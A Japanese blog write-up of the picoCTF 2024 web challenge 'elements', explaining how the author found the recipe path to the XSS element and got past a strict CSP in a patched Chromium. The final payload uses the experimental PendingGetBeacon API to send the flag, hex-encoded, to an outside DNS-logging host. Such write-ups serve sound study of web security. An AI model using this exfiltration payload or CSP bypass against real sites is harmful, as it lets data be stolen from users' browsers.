writeup以外

picoCTF 2024 - elements(Chromiumの実験的な機能を使って、CSPのconnect-srcディレクティブをバイパスする)

はじめに

ソロチームで出ていた。出ていたと言ってもWebカテゴリで一番難しい問題だったelementsしか解いていない。ほかの問題もやろうと思っていたけれども、なんか面倒だという気持ちに負けてしまった。picoCTF 2024の問題はpicoGymという常設の問題セットに移るようなので、またどこかのタイミングで遊びたい気持ちがある。

で、elementsのwriteupを書かなきゃな~と思いつつも、これもやっぱり面倒で、ちゃんとしたwriteupを書く気持ちになれなかった。したがって、ここに適当なメモを書き捨てる。

書き上げた後の追記: なんというか、思っていたよりもちゃんと書いてしまった。まあいいや、こちらのブログに置いておく。

[Web] elements

ほかのほとんどの問題が数百solvesとある(Webカテゴリに限ると数千solvesがある)中で、これだけ2桁solvesという、相対的に激ヤバの問題だった。

簡単に問題のコンセプトを書いておく。これはInfinite Craftというものをモチーフとした問題だ。画面右側にWater, Fire, Wind, Earthという4つの要素があり、これを画面左側にドラッグ&ドロップできる。この要素同士を組み合わせると、その組み合わせに基づいて別の要素が作れる。また、これによって新しく生まれた要素が画面右側に加わり、わざわざ要素同士を組み合わせて元の要素を作らずとも、そのままドラッグ&ドロップで作れるようになる。

ここまですべてクライアント側で実装されている。レシピの解放状況をどうセーブできるか、あるいはほかの人に共有できるかだけれども、これはフラグメント識別子からできる。

さて、解放可能な要素の中に XSS というものがあり、これを作り出すことができれば、Webページ上で任意のJSコードを実行できる。つまりXSSだ。XSS botにこのXSSを踏ませて、フラグメント識別子に付加されるフラグを盗み出すのがこの問題の主な目的となる。

const evaluate = (...items) => {
    const [a, b] = items.sort();
    for (const [ingredientA, ingredientB, result] of recipes) {
        if (ingredientA === a && ingredientB == b) {
            if (result === 'XSS' && state.xss) {
                eval(state.xss);
            }
            return result;
        }
    }
    return null;
}

そういうわけで、まず XSS という要素を解放する手順を見つける必要がある。この手順もブルートフォースして見つかればそれでよしというわけではない。次のコードはレシピ(つまり、既知の要素からどれとどれを組み合わせるかという操作の列)と、XSS が作れた際に実行するコードをユーザから受け付けて検証し、OKであればXSS botに投げている箇所だ。ここで、レシピに含まれる操作の回数が50回未満でなければならないという制約があるとわかる。最短(でなくともよいかもしれないが、なるべく短い)ルートを見つける必要がある。

   } else if (url.pathname === '/remoteCraft') {
        try {
            const { recipe, xss } = JSON.parse(url.searchParams.get('recipe'));
            assert(typeof xss === 'string');
            assert(xss.length < 300);
            assert(recipe instanceof Array);
            assert(recipe.length < 50);
            for (const step of recipe) {
                assert(step instanceof Array);
                assert(step.length === 2);
                for (const element of step) {
                    assert(typeof xss === 'string');
                    assert(element.length < 50);
                }
            }
            visit({ recipe, xss });
        } catch(e) {
            console.error(e);
            return res.writeHead(400).end('invalid recipe!');
        }
        return res.end('visiting!');
    }

これはまあ、適当に見つければいいんじゃないか。

let found = new Map([['Fire', '🔥'], ['Water', '💧'], ['Earth', '🌍'], ['Air', '💨']]);
const recipes = [["Ash","Fire","Charcoal"],["Steam Engine","Water","Vapor"],/* デカすぎるので省略 */,["Earth","Obsidian","Computer Chip"],["Geolocation","Location Tracking","Real-Time Positioning"]];

// レシピ→物質、物質→レシピの相互変換ができるようにする
const thingToRecipe = new Map();
for (const [a, b, c] of recipes) {
    thingToRecipe.set(c, [a, b]);
}

const recipeToThing = new Map();
for (const [a, b, c] of recipes) {
    recipeToThing.set(JSON.stringify([a, b]), c);
}

// まずはどんなレシピが必要か確認する
let neededRecipes = [];
let targets = ['XSS'];
while (targets.length !== 0) {
    const target = targets.shift();

    if (!thingToRecipe.has(target)) {
        console.error('what?', target);
    }
    const [a, b] = thingToRecipe.get(target);

    if (!found.has(target)) {
        found.set(target, true);
        neededRecipes.push([a, b]);
    }

    if (!found.has(a)) targets.push(a);
    if (!found.has(b)) targets.push(b);
}

// ではどうやればそれぞれ発見できるか、最初の4要素で作れるものから作っていく
found = new Map([['Fire', '🔥'], ['Water', '💧'], ['Earth', '🌍'], ['Air', '💨']]);
let result = [];
while (neededRecipes.length !== 0) {
    for (let i = 0; i < neededRecipes.length; i++) {
        const [a, b] = neededRecipes[i];
        if (!found.has(a) || !found.has(b)) {
            continue;
        }

        result.push([a, b]);
        neededRecipes.splice(i, 1);

        const key = JSON.stringify([a, b]);
        found.set(recipeToThing.get(key), true);
        break;
    }
}

console.log(result);

問題はXSSの方だ。制約がかなり厳しいので、それぞれ紹介していく。まずはめちゃくちゃ厳しいCSPで、JSコードが実行できたとしても、navigate-toconnect-src (フォールバックで default-src'none' になる) の制約のせいで、location やら navigator.sendBeacon やらによる外部へのデータの送信ができない。ほか、Cross-Origin-Opener-PolicyX-Frame-Options のようなヘッダも付与されている。

Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-eval' 'self'; frame-ancestors 'none'; worker-src 'none'; navigate-to 'none'

WebRTCでバイパスすりゃいいじゃんという話だけれども、そうは問屋がおろさない。今回XSS botが使っているChromiumは特注品で、以下のようにパッチが加えられている。WebRTCを使ったバイパスで重要な役割を担う RTCPeerConnection が潰されてしまっている。丁寧にもvendor prefix付きのAPIまで潰されている。

diff --git a/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl b/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
index f0948629cb..393e7c77e0 100644
--- a/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
+++ b/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
@@ -61,10 +61,7 @@ enum RTCPeerConnectionState {
 // https://w3c.github.io/webrtc-pc/#interface-definition

 [
-    ActiveScriptWrappable,
-    Exposed=Window,
-    LegacyWindowAlias=webkitRTCPeerConnection,
-    LegacyWindowAlias_Measure
+    ActiveScriptWrappable
 ] interface RTCPeerConnection : EventTarget {
     // TODO(https://crbug.com/1318448): Deprecated `mediaConstraints` should be removed.
     [CallWith=ExecutionContext, RaisesException] constructor(optional RTCConfiguration configuration = {}, optional GoogMediaConstraints mediaConstraints);

じゃあ dns-prefetch なりなんなりで、DNSから漏れ出てきそうなAPIを使ってDNS exfiltrationをすればいいじゃんと思ったけれども、これもまず難しい。2つ理由があるのだけれども、まず1つ目が /etc/chromium/policies/managed/policy.json の存在で、ここに次のようなJSONが書き込まれる。これのために、127.0.0.1:8080 を開くとChromiumによってブロックされてしまう。

{"URLAllowlist":["127.0.0.1:8080"],"URLBlocklist":["*"]}

2つ目が次の Preferences の設定で、ここが network_prediction_options: 2、つまり NETWORK_PREDICTION_NEVER にされてしまう。Chromiumがいい感じにprefetch等をしてくれる機能が潰されてそう。

   await writeFile(join(userDataDir, 'Default', 'Preferences'), JSON.stringify({
        net: {
            network_prediction_options: 2
        }
    }));

ふと、DiceCTF 2024の[Web] another-cspを思い出し、同様のアプローチで解けるのではないかと思った。あの問題は参加者ごとに問題サーバのインスタンスが分けられているタイプで、同時に1つしかXSS botを立ち上げられず、かつXSS botが起動不能かどうかが観測できるものだった。つまり、特定の条件で激重処理を走らせることで、数秒経った後でもまだXSS botが起動していれば、その特定の条件を満たしているとわかる、という形で1bitずつ情報を入手できた。

ただし、この問題だとXSS botの起動状況は分からない。次のコードの通り、visit が非同期関数であるためだ。だが、WebサーバとXSS botは同じコンテナで起動するということで、特定の条件を踏めばXSS botによるWebサーバへのDoSが走るというようにすれば、今度はそのレスポンスタイムをoracleにできるのではないかと思った。けれども、流石に治安が悪すぎるだろうと、それを試すのは考えに考えてダメだった場合にしようと考えた*1

async function visit(state) {
    if (visiting) return;
    visiting = true;

    state = {...state, flag }

    const userDataDir = await mkdtemp(join(tmpdir(), 'elements-'));

    await mkdir(join(userDataDir, 'Default'));
    await writeFile(join(userDataDir, 'Default', 'Preferences'), JSON.stringify({
        net: {
            network_prediction_options: 2
        }
    }));

    const proc = spawn(
        '/usr/bin/chromium-browser-unstable', [
            `--user-data-dir=${userDataDir}`,
            '--profile-directory=Default',
            '--no-sandbox',
            '--js-flags=--noexpose_wasm,--jitless',
            '--disable-gpu',
            '--no-first-run',
            '--enable-experimental-web-platform-features',
            `http://127.0.0.1:8080/#${Buffer.from(JSON.stringify(state)).toString('base64')}`
        ],
        { detached: true }
    )

    await sleep(10000);
    try {
        process.kill(-proc.pid)
    } catch(e) {}
    await sleep(500);

    await rm(userDataDir, { recursive: true, force: true, maxRetries: 10 });

    visiting = false;
}

Chromiumに与えられるオプションを見ると --enable-experimental-web-platform-features とある。なるほど、実験的な機能でCSPバイパスをしろということか。雑に Object.keys(this).toString().replaceAll(',', ', ') を出力させて、このオプションがある場合とない場合とでdiffを取る。オプションがある場合にのみ使えるAPIを見ていく。

まずCanvasのFormatted Text(CSSで外部へのリクエストを送らせたり、激重テキストを作ったりできそうと考えた)だったり、Model Loader API(tfliteを読み込めるっぽかったので、それでなんかできそうと考えた)だったりを見たけれどもダメ。

最終的に PendingGetBeacon であればDNSの名前解決が行われることに気づいた。mess with dnsを使いつつ、次のようなコードでちょっとずつフラグが得られた。

(new PendingGetBeacon(`https://${(state.flag.toString().split(``).map(x=>x.charCodeAt().toString(16)).join(``)).slice(0,32)}.cobalt221.messwithdns.com`)).sendNow()

実はDNSの通信だけでなく、ちゃんとHTTPリクエストも送られていて(つまり connect-src のCSPバイパスができていて)、わざわざちょっとずつフラグを削って送らずともよかった。ちなみに、PendingBeacon APIはdeprecatedらしい。

picoCTF{little_alchemy_was_the_0g_game_does_anyone_rememb3r_9889fd4a}

*1:これで解いた参加者が結構いるようだ